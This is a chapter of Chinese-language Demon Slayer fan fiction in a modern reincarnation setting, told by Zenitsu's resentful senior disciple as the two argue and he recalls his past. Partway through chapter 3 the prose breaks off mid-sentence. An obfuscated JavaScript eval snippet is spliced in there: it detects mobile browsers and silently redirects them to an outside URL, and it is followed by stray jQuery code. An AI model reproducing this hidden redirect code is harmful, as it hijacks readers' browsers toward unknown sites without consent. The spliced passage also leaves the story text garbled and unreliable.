1
“竟敢这么跟兄长说话,真够失礼的。”
平静地收回敲在他脑袋上的拳头。
本来应该表现得更生气,可我被突如其来的真相冲昏了头脑。
懊悔也有,但并非后悔加入事务所。
同事和上司们都曾为鬼这种事,我倒是无所谓。毕竟他们现在是人类,也没有表现出任何食人的迹象。
现在看来,事务所与学园之间的矛盾并不是简单的利益冲突,他们大概隔着上辈子的生死之仇吧。
我后悔的,正是没有好好隐瞒自己在事务所里工作这件事。
被超过三个人知情,哪还算什么合格的间谍啊…不知前世身为鬼王,现世也是个邪恶政治家的无惨,发现这一切后,会有何等恐怖的惩罚手段。
光是想象就不寒而栗。
自己平日里应该没露出过更多端倪,好在危机预感之下,早就和理事长大人打过招呼。
也威逼利诱过朱纱丸和矢琶羽,成功让那两个人闭上了嘴。
眼前的这个家伙,就是仅剩的不稳定因素。
意识到自己竟然被他抓了那么多把柄,后知后觉到这种程度,莫非我真是他口中的笨蛋吗?
不,是这家伙太过狡猾才对。
心机深沉的我妻善逸,保持着抱头的姿势,装模作样地痛呼起来。
“痛…诶?一点都不痛?”
他摸了摸被敲的地方,一脸的不可思议。
眼看他就要说出什么恶心的话,我抢先开口。
“肯定是你平时被富冈打习惯了,痛觉已经失灵了吧?”
提到了我妻善逸的伤心事,他立刻变得愤慨起来。
“都说了我的头发是天生的,那个人根本不信啊!明明上辈子见过面吧,翻脸不认人是要怎样?!每天一进校门就要挨揍的日子已经受够了!”
“看来你积压了很多不满啊。”
“不管是谁,被无缘无故找茬都会感到不满吧!可恶的富——喂,我说你小子怎么突然这么关心,手里那个是什么,给我交出来!”
居然被发现了。真可惜,没能完全得到他的把柄。
在他扑来的前一刻,我已经撑上桌沿,滑到了餐桌对面,他便绕着桌子追逐过来。
“是录音吗?你偷偷录下来了?!太过分了!枉费我那么信任你!!”
“你也只是比我多知道一点而已,骂人「笨蛋」什么的,是你比较过分吧!”
“对、对不起嘛!”他先是唯唯诺诺地道了歉,随后梗着脖子据理力争起来,“还不是因为你。行为恶劣不说,嘴上也不饶人,结果是那么让人担心的性格,想发火都发不起来!”
“哈?你担心的方式就是莫名其妙地骂人吗,那我才不要呢!”
“哪有莫名其妙!都到了参加最终选拔的地步,连鬼舞辻无惨是谁都不知道,怎么想都很奇怪吧…!”
2
我妻善逸的爆发力惊人,也不得不承认他的速度很快,然而体力完全比不上我,摆放的家具也在限制他的发挥。追逐战持续许久后,是他先气喘吁吁地喊停。
“大哥、别跑了!就是想和你谈谈而已,怎么这么难啊…!”
他双手撑在膝盖上喘气,弯下腰的样子,就像在向我认输一样。
我谨慎地朝他走了一步,又一步,确认他不会突然扑过来后,才安心地坐回餐桌前。
“早该这样了。先前的话题还没说完,我只是想知道柱有哪些人,谁知道你会扯那么远。”
“我要是不那么说,就永远都不会知道你其实一无所知吧。”
“…只是暂时的。等我进入鬼杀队,那些知识自然而然就能学会。”
却见我妻善逸正在用不信任的眼光看着我。
“你那是什么眼神?”
他不知悔改,继续直勾勾盯着我看,忽然夸张地叹了口气。
“大哥是那种会一门心思向目标努力的人吧。可如果连目标是什么都不知道的话…”
果然,还是听不懂他的意思。
“在说什么呢。我很清楚,我的目标就是成为鸣柱。”
这与是否认识鬼王并不冲突吧。
“啊、我大概明白了。对不起。”
他说得倒是干脆利落,可我完全搞不懂他为什么要道歉。
我们面对面坐着,气氛沉寂下来。我在等他继续原来的话题,我妻善逸却沉默着,时不时抬眼看我,脸上流露出十分悲伤的神情。
又在回忆他的师兄了吧。即使目前看来,那个人给我妻善逸带来的只有痛苦。
“那个、大哥是怎么遇到爷爷的呢?我是说梦里那个…”他小心翼翼地说,“我的话,是在路上被爷爷解救…”
你那可笑的经历,我早就知道了。
“如果你想说的就是这些废话,我们也没什么好聊的。”
“诶?可是…”
我可没工夫陪你互诉衷肠。毫不犹豫地起身,准备离开客厅。
“可是爷爷呢?”
…又是这一招。这次不管你说什么,我都不会听了。
“爷爷特意出门,就是为了让我们相互了解吧。如果我们毫无进展,不是白白浪费了他的心意吗?”
“……”
“爷爷那么大的年纪,为了两个孙子的关系,不得不远离家门,再向他撒谎的话…爷爷真是可怜啊。”
不耐烦地咂舌,用力坐了回去。
“你还想知道什么?”
我妻善逸顿时眉开眼笑,让拳头蠢蠢欲动起来。
“你也尽管问我哦?了解是相互的嘛。”
3
“我是主动拜师的。”
而且花了足够长的时间,才得到师父的认可,给了我修行雷之呼吸的机会。
正因如此,对明
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131831|188648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明被师父看中,却不知感恩的师弟,感到愈发厌恶。
“诶?那你是因为什么才想加入鬼杀队的?难道就只是为了当上柱吗?”
为什么?
我不指望这家伙能理解。
——因为除了那里,我没有别的地方可去。
…
一开始,只是为了活下去。
想拥有力量,在食人的怪物面前,也能有一战之力。
顺便,也想知道老师的下落。
到处打听,最终一无所获。只能得过且过地挣扎生存。
一无所有的流浪儿,本就无人在意。
但至少在街头,可以保证自己不会轻易死去。
哪怕靠偷窃,靠出卖他人,用尽一切卑鄙手段也要活下去。
抢夺着有限的资源。只要我吃饱,必定有人因此饿死。
所以,我也是靠吃人长大的。
偶尔用现代人的方式思考着:难道我要这样腐烂地度过余生吗?
直到遇见那个转生者,改变了一切。
仅仅顶着「柱」的名号,就能轻易摆布人的生死。
多么荒谬。
多么令人作呕。
但也展露了一条我从未设想过的道路。
作为没有身份的人,在世俗的规则里永无出头之日。
但在那个似乎只要足够强大,就能掌握权力的组织里,也许我也可以获得机会。
是否只要变强,强到爬上顶端,就再也没有人能轻视我,随意决定我的死活?
我决定了。
我要成为「柱」。
后来,拜师时,发现师父和我想象中手握权柄的大人物完全不同。
他是一个固执又严厉的老头子,和慈爱的爷爷截然不同。我很快把他们区分开来。
尽管训练严格到我都有点想哭,却久违地感觉到自己拥有了什么。
在接连不断的失去中,雷之呼吸成了唯一一件真正属于我的东西。
是师父给了我这一切,对此我无比感激。
于是,在那向上爬的野心里,也掺杂了想要向师父证明自己的渴望。
…然而,就连这点仅剩的东西,也被夺走。
…
我妻善逸静静地等待我的回答,我看着他,陷入思考。
这家伙加入的理由,大概纯粹得多吧?也许是为了报恩,或者仅仅因为无处可去。某些方面我们很像…不,我和他是不同的,有很大的不同。
于是我深思着开口。
“很简单,我想要追求力量。”
“不不不才没有那么简单吧?!”
他吃惊地大喊大叫。
“…你有什么不满意的?”
“你想的和说出来的绝对不是一回事吧?!你又在隐瞒真实的想法了对吧!到底是什么脑回路让你想了那么多最后只说出一句让人生气的话!!”